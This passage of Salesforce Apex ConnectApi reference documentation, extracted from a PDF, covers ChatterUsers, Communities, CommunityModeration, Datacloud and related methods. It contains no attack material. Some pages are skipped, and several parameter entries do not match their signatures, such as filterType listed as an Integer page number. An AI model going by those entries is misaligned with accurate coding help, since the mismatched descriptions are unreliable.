getFollowings(communityId, userId, pageParam, pageSize)

Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which returns
the users that follow the specified user.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowingPage

1134

Reference

ChatterUsers Class

getFollowings(communityId, userId, filterType)

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
filterType

Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies
the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, filterType, pageParam)

Returns the specified page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

1135

Reference

ChatterUsers Class

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType, Integer pageParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
filterType

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, filterType, pageParam, pageSize)

Returns the specified page of information about the specified types of followers of the specified user. This is different than
getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

1136

Reference

ChatterUsers Class

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
filterType

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowingPage

getGroups(communityId, userId)
Returns the first page of groups the specified user is a member of.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId)

1137

Reference

ChatterUsers Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.UserGroupPage

getGroups(communityId, userId, pageParam, pageSize)

Returns the specified page of groups the specified user is a member of.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer

1138

Reference

ChatterUsers Class

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserGroupPage

getPhoto(communityId, userId)
Returns information about the specified users photo.

API Version
28.034.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.getPhoto(communityId, userId)
on page 1303.

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.Photo

getReputation(communityId, userId)
Returns the reputation of the specified user.

API Version
32.0

1139

Reference

ChatterUsers Class

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Reputation getReputation(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
ID of the user.

Return Value
Type: ConnectApi.Reputation

getUser(communityId, userId)
Returns information about the specified user.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserSummary getUser(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1140

Reference

ChatterUsers Class

userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.UserDetail

Usage
If the user is external, the properties that the ConnectApi.UserDetail output class shares with the
ConnectApi.UserSummary output class can have non-null values. Other properties are always null.

getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User objects.
Returns errors embedded in the results for those users that couldnt be loaded.

API Version
31.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getUserBatch(String communityId, List<String>
userIds)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userIds

Type: List<String>
A list of up to 500 user IDs.

Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.User object.

1141

Reference

ChatterUsers Class

Example
// Get users in an organization.
ConnectApi.UserPage userPage = ConnectApi.ChatterUsers.getUsers(null);
// Create a list of user IDs.
List<String> userList = new List<String>();
for (ConnectApi.User user : userPage.users){
userList.add(user.id);
}
// Get info about all users in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterUsers.getUserBatch(null, userList);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print each user's username.
ConnectApi.UserDetail user;
if(batchResult.getResult() instanceof ConnectApi.UserDetail) {
user = (ConnectApi.UserDetail) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(user.username);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}

getUsers(communityId)
Returns the first page of users. The page contains the default number of items.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage getUsers(String communityId)

1142

Reference

ChatterUsers Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.UserPage

getUsers(communityId, pageParam, pageSize)

Returns the specified page of users.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage getUsers(String communityId, Integer pageParam,
Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserPage

1143

Reference

ChatterUsers Class

searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.

API Version
30.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String
userId, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.UserGroupPage
A paginated list of groups the context user is a member of.

searchUserGroups(communityId, userId, q, pageParam, pageSize)

Returns the specified page of users that matches the specified search criteria.

API Version
30.0

1144

Reference

ChatterUsers Class

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String
userId, String q, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserGroupPage
A paginated list of groups the context user is a member of.

searchUsers(communityId, q)
Returns the first page of users that match the specified search criteria. The page contains the default number of items.

API Version
28.0

1145

Reference

ChatterUsers Class

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.UserPage

searchUsers(communityId, q, pageParam, pageSize)

Returns the specified page of users that match the specified search criteria.

API Version
28.0

Available to Guest Users

32.0

1146

Reference

ChatterUsers Class

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, Integer
pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserPage

searchUsers(communityId, q, searchContextId, pageParam, pageSize)

Returns the specified page of users that match the specified search criteria.

API Version
28.0

1147

Reference

ChatterUsers Class

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, String
searchContextId, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
searchContextId

Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you
cannot query more than 500 results and you cannot use wildcards in the search term.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserPage

1148

Reference

Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.

API Version
29.034.0
Important: In version 35.0 and later, use
ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo,
fileUpload) on page 1310

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)

1151

Reference

ChatterUsers Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)

Updates the default Chatter settings for the specified user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserChatterSettings updateChatterSettings(String communityId,
String userId, ConnectApi.GroupEmailFrequency defaultGroupEmailFrequency)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String

1152

Reference

ChatterUsers Class

The ID for the context user or the keyword me.

Return Value
Type: Void
SEE ALSO:
searchUsers(communityId, q, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize,

result)
Registers a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called
in a test context. Use the method with the same parameters or you receive an exception.

1155

Reference

Communities Class

API Version
28.0

Signature
public static Void setTestSearchUsers(String communityId, String q, String
searchContextId, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
searchContextId

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result

Type: ConnectApi.UserPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Testing ConnectApi Code

Communities Class
Access general information about communities in your organization.

1156

Reference

Communities Class

Namespace
ConnectApi

Communities Methods
The following are methods for Communities. All methods are static.
IN THIS SECTION:
getCommunities()
Returns a list of communities the context user has access to.
getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.
getCommunity(communityId)
Returns information about the specific community.

getCommunities()
Returns a list of communities the context user has access to.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi.CommunityPage getCommunities()

Return Value
Type: ConnectApi.CommunityPage

getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.

API Version
28.0

Requires Chatter
No

1157

Reference

Communities Class

Signature
public static ConnectApi.CommunityPage getCommunities(ConnectApi.CommunityStatus
communityStatus)

Parameters
communityStatus
Type: ConnectApi.CommunityStatus
communityStatusSpecifies the status of the community. Values are:

Live
Inactive
UnderConstruction

Return Value
Type: ConnectApi.CommunityPage

getCommunity(communityId)
Returns information about the specific community.

API Version
28.0

Available to Guest Users

35.0

Requires Chatter
No

Signature
public static ConnectApi.Community getCommunity(String communityId)

Parameters
communityId

Type: String
Specify an ID for communityId. You cannot specify null or 'internal'.

Return Value
Type: ConnectApi.Community

1158

Reference

CommunityModeration Class

CommunityModeration Class
Access information about flagged feed items and comments in a community. Add and remove flags from comments and feed items.
To view a feed containing all flagged feed items, pass ConnectApi.FeedType.Moderation to the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed method.

Namespace
ConnectApi

CommunityModeration Methods
The following are methods for CommunityModeration. All methods are static.
IN THIS SECTION:
addFlagToComment(communityId, commentId)
Add a moderation flag to a comment. To add a flag to a comment, Allow members to flag content must be selected
for a community.
addFlagToComment(communityId, commentId, visibility)
Add a moderation flag with specified visibility to a comment. To add a flag to a comment, Allow members to flag
content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element. To add a flag to a feed element, Allow members to flag content must be
selected for a community.
addFlagToFeedElement(communityId, feedElementId, visibility)
Add a moderation flag with specified visibility to a feed element. To add a flag to a feed element, Allow members to flag
content must be selected for a community.
addFlagToFeedItem(communityId, feedItemId)
Add a moderation flag to a feed item. To add a flag to a feed item, Allow members to flag content must be selected
for a community.
addFlagToFeedItem(communityId, feedItemId, visibility)
Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, Allow members to flag
content must be selected for a community.
getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment. To get the flags, the context user must have the Moderate Communities Feeds permission.
getFlagsOnComment(communityId, commentId, visibility)
Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the Moderate
Communities Feeds permission.
getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities
Feeds permission.
getFlagsOnFeedElement(communityId, feedElementId, visibility)
Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
Communities Feeds permission.

1159

Reference

CommunityModeration Class

getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the Moderate Communities Feeds permission.
getFlagsOnFeedItem(communityId, feedItemId, visibility)
Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the Moderate
Communities Feeds permission.
removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must
have the Moderate Communities Feeds permission.
removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag
or must have the Moderate Communities Feeds permission.
removeFlagsOnFeedItem(communityId, feedItemId, userId)
Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must
have the Moderate Communities Feeds permission.

addFlagToComment(communityId, commentId)
Add a moderation flag to a comment. To add a flag to a comment, Allow members to flag content must be selected for
a community.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ModerationFlags

1160

Reference

CommunityModeration Class

addFlagToComment(communityId, commentId, visibility)

Add a moderation flag with specified visibility to a comment. To add a flag to a comment, Allow members to flag content
must be selected for a community.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.
visibility
Type: ConnectApi.CommunityFlagVisibility

Specifies the visibility behavior of a flag for various user types.

ModeratorsOnlyThe flag is visible only to users with moderation permissions on the flagged element or item.
SelfAndModeratorsThe flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.

Return Value
Type: ConnectApi.ModerationFlags

addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element. To add a flag to a feed element, Allow members to flag content must be selected
for a community.

API Version
31.0

Requires Chatter
Yes

1161

Reference

CommunityModeration Class

Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

addFlagToFeedElement(communityId, feedElementId, visibility)

Add a moderation flag with specified visibility to a feed element. To add a flag to a feed element, Allow members to flag
content must be selected for a community.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
visibility

Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:

1162

Reference

CommunityModeration Class

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

addFlagToFeedItem(communityId, feedItemId)
Add a moderation flag to a feed item. To add a flag to a feed item, Allow members to flag content must be selected for
a community.

API Version
29.031.0
Important: In version 32.0 and later, use addFlagToFeedElement(communityId, feedElementId).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String
feedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.ModerationFlags

addFlagToFeedItem(communityId, feedItemId, visibility)

Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, Allow members to flag content
must be selected for a community.

1163

Reference

CommunityModeration Class

API Version
30.031.0
Important: In version 32.0 and later, use addFlagToFeedElement(communityId, feedElementId, visibility).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String
feedItemId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
visibility
Type: ConnectApi.CommunityFlagVisibility

Specifies the visibility behavior of a flag for various user types.

Return Value
Type: ConnectApi.ModerationFlags

getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment. To get the flags, the context user must have the Moderate Communities Feeds permission.

API Version
29.0

Requires Chatter
Yes

1164

Reference

CommunityModeration Class

Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String
commentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ModerationFlags

getFlagsOnComment(communityId, commentId, visibility)

Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the Moderate Communities
Feeds permission.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String
commentId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.
visibility
Type: ConnectApi.CommunityFlagVisibility

Specifies the visibility behavior of a flag for various user types.

ModeratorsOnlyThe flag is visible only to users with moderation permissions on the flagged element or item.

1165

Reference

CommunityModeration Class

SelfAndModeratorsThe flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.

Return Value
Type: ConnectApi.ModerationFlags

getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds
permission.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId,
String feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

getFlagsOnFeedElement(communityId, feedElementId, visibility)

Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
Communities Feeds permission.

API Version
31.0

1166

Reference

CommunityModeration Class

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
visibility

Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:
ModeratorsOnlyThe flag is visible only to users with moderation permissions on the flagged element or item.
SelfAndModeratorsThe flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the Moderate Communities Feeds permission.

API Version
29.031.0
Important: In version 32.0 and later, use getFlagsOnFeedElement(communityId, feedElementId).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String
feedItemId)

1167

Reference

CommunityModeration Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.ModerationFlags

getFlagsOnFeedItem(communityId, feedItemId, visibility)

Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the Moderate Communities
Feeds permission.

API Version
30.031.0
Important: In version 32.0 and later, use getFlagsOnFeedElement(communityId, feedElementId, visibility).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String
feedItemId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
visibility
Type: ConnectApi.CommunityFlagVisibility

Specifies the visibility behavior of a flag for various user types.

1168

Reference

CommunityModeration Class

Return Value
Type: ConnectApi.ModerationFlags

removeFlagFromComment(communityId, commentId, userId)

Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must have
the Moderate Communities Feeds permission.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags removeFlagFromComment(String communityId,
String commentId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.
userId

Type: String
The ID for a user.

Return Value
Type: Void

removeFlagFromFeedElement(communityId, feedElementId, userId)

Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag or
must have the Moderate Communities Feeds permission.

API Version
31.0

1169

Reference

CommunityModeration Class

Requires Chatter
Yes

Signature
public static void removeFlagFromFeedElement(String communityId, String feedElementId,
String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

removeFlagsOnFeedItem(communityId, feedItemId, userId)

Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must have
the Moderate Communities Feeds permission.

API Version
29.031.0
Important: In version 32.0 and later, use removeFlagFromFeedElement(communityId, feedElementId, userId).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags removeFlagsOnFeedItem(String communityId,
String feedItemId, String userId)

1170

Reference

Datacloud Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
userId

Type: String
The ID for a user.

Return Value
Type: Void

Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.

Namespace
ConnectApi
IN THIS SECTION:
Datacloud Methods

Datacloud Methods
The following are methods for Datacloud. All methods are static.
IN THIS SECTION:
getCompaniesFromOrder(orderId, pageSize, page)
Retrieves a list of purchased company records for an order.
getCompany(companyId)
Retrieves a company record from an identification number.
getContact(contactId)
Retrieves a contact record from an identification number.
getContactsFromOrder(orderId, page, pageSize)
Retrieves a list of purchased contacts for an order.
getOrder(orderId)
Retrieves purchased records for an order.
getUsage(userId)
Retrieves purchase usage information for a specific user.

1171

Reference

Datacloud Class

postOrder(orderInput)
Purchase records that are listed in an input file.

getCompaniesFromOrder(orderId, pageSize, page)

Retrieves a list of purchased company records for an order.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudCompanies getCompaniesFromOrder(String orderId, String
pageSize, String page)

Parameters
orderId

Type: String
A unique number that identifies an order.
page

Type: String
The number of the page that you want returned.
pageSize

Type: String
The number of companies to show on a page. The default pageSize is 25.

Return Value
Type: ConnectApi.DatacloudCompanies

getCompany(companyId)
Retrieves a company record from an identification number.

API Version
32.0

Requires Chatter
No

1172

Reference

Datacloud Class

Signature
public static ConnectApi.DatacloudCompany getCompany(String companyId)

Parameters
companyId

Type: String
A numeric identifier for a company in the Data.com database.

Return Value
Type: ConnectApi.DatacloudCompany

Example
ConnectApi.DatacloudCompany DatacloudCompanyRep = ConnectApi.Datacloud.getCompany(companyId);

getContact(contactId)
Retrieves a contact record from an identification number.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudContact getContact(String contactId)

Parameters
contactId

Type: String
A unique numeric string that identifies a contact in the Data.com database.

Return Value
Type: ConnectApi.DatacloudContact

Example
ConnectApi.DatacloudContact DatacloudContactRep = ConnectApi.Datacloud.getContact(contactId);

1173

Reference

Datacloud Class

getContactsFromOrder(orderId, page, pageSize)

Retrieves a list of purchased contacts for an order.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudContacts getContactsFromOrder(String orderId, String
page, String pageSize)

Parameters
orderId

Type: String
A unique number thats associated with an order.
page

Type: String
The number of the page that you want returned.
pageSize

Type: String
The number of contacts to show on a page. The default pageSize is 25.

Return Value
Type: ConnectApi.DatacloudContacts

getOrder(orderId)
Retrieves purchased records for an order.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudOrder getOrder(String orderId)

1174

Reference

Datacloud Class

Parameters
orderId

Type: String
A unique number that identifies an order.

Return Value
Type: ConnectApi.DatacloudOrder

Example
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.getOrder(orderId);

getUsage(userId)
Retrieves purchase usage information for a specific user.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudPurchaseUsage getUsage(String userId)

Parameters
userId

Type: String
A unique number that identifies a single user.

Return Value
Type: ConnectApi.DatacloudPurchaseUsage

Example
ConnectApi.DatacloudPurchaseUsage datacloudPurchaseUsageRep =
ConnectApi.Datacloud.getUsage(userId);

postOrder(orderInput)
Purchase records that are listed in an input file.

1175

Reference

ExternalEmailServices Class

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudOrder postOrder(ConnectApi.DatacloudOrderInput
orderInput)

Parameters
orderInput

Type: ConnectApi.DatacloudOrderInput
A list that contains IDs for the contacts or companies that you want to see.

Return Value
Type: ConnectApi.DatacloudOrder

Example
ConnectApi.DatacloudOrderInput inputOrder=new ConnectApi.DatacloudOrderInput();
List<String> ids=new List<String>();
ids.add('1234');
inputOrder.companyIds=ids;
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.postOrder(inputOrder);

ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email
account.

Namespace
ConnectApi

External Email Services Methods

The following are methods for ExternalEmailService. All methods are static.
IN THIS SECTION:
getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.

1176

Reference

Knowledge Class

getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.

API Version
37.0

Requires Chatter
No

Signature
public static getUserOauthInfo(String landingPage)

Parameters
landingPage

Type: String
The landing page that the user starts on when they are finished with the OAuth authorization process.

Return Value
Type: UserOauthInfo
SEE ALSO:
Testing ConnectApi Code

Knowledge Class
Access information about trending articles in communities.

Namespace
ConnectApi

Knowledge Methods
The following are methods for Knowledge. All methods are static.
IN THIS SECTION:
getTrendingArticles(communityId, maxResults)
Get trending articles for a community.
getTrendingArticlesForTopic(communityId, topicId, maxResults)
Get the trending articles for a topic in a community.

1177

Reference

Knowledge Class

getTrendingArticles(communityId, maxResults)
Get trending articles for a community.

API Version
36.0

Available to Guest Users

36.0

Requires Chatter
No

Signature
public static ConnectApi.KnowledgeArticleVersionCollection getTrendingArticles(String
communityId, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
maxResults

